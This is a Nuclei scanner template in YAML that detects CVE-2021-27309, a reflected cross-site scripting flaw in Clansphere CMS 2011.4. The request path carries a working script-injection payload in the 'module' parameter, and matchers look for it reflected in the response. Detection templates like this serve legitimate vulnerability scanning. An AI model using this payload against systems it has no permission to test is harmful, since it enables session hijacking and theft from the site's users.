CVE-2021-27309: Clansphere CMS 2011.4 - Cross-Site Scripting

id: CVE-2021-27309

info:
  name: Clansphere CMS 2011.4 - Cross-Site Scripting
  author: edoardottt
  severity: medium
  description: |
    Clansphere CMS 2011.4 contains an unauthenticated reflected cross-site scripting vulnerability via the  "module" parameter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Upgrade to a patched version of Clansphere CMS or apply the vendor-supplied patch to fix the XSS vulnerability.
  reference:
    - https://github.com/xoffense/POC/blob/main/Clansphere%202011.4%20%22module%22%20xss.md
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27309
    - https://nvd.nist.gov/vuln/detail/CVE-2021-27309
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-27309
    cwe-id: CWE-79
    epss-score: 0.00874
    epss-percentile: 0.74464
    cpe: cpe:2.3:a:csphere:clansphere:2011.4:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: csphere
    product: clansphere
  tags: cve2021,cve,clansphere,xss,cms,unauth,csphere

http:
  - method: GET
    path:
      - "{{BaseURL}}/mods/clansphere/lang_modvalidate.php?language=language&module=module%22></script><script>alert(document.domain)</script>"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"></script><script>alert(document.domain)</script>.php'

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100bca74559ed82e9641e4fa7f879deb7a0f87b294ab2f61304999cd574dae10a6a0220048c0e73d5a132888292ae71dd318144cabe2e71cc3307f5b232ec04dba200d9:922c64590222798bb761d5b6d8e72950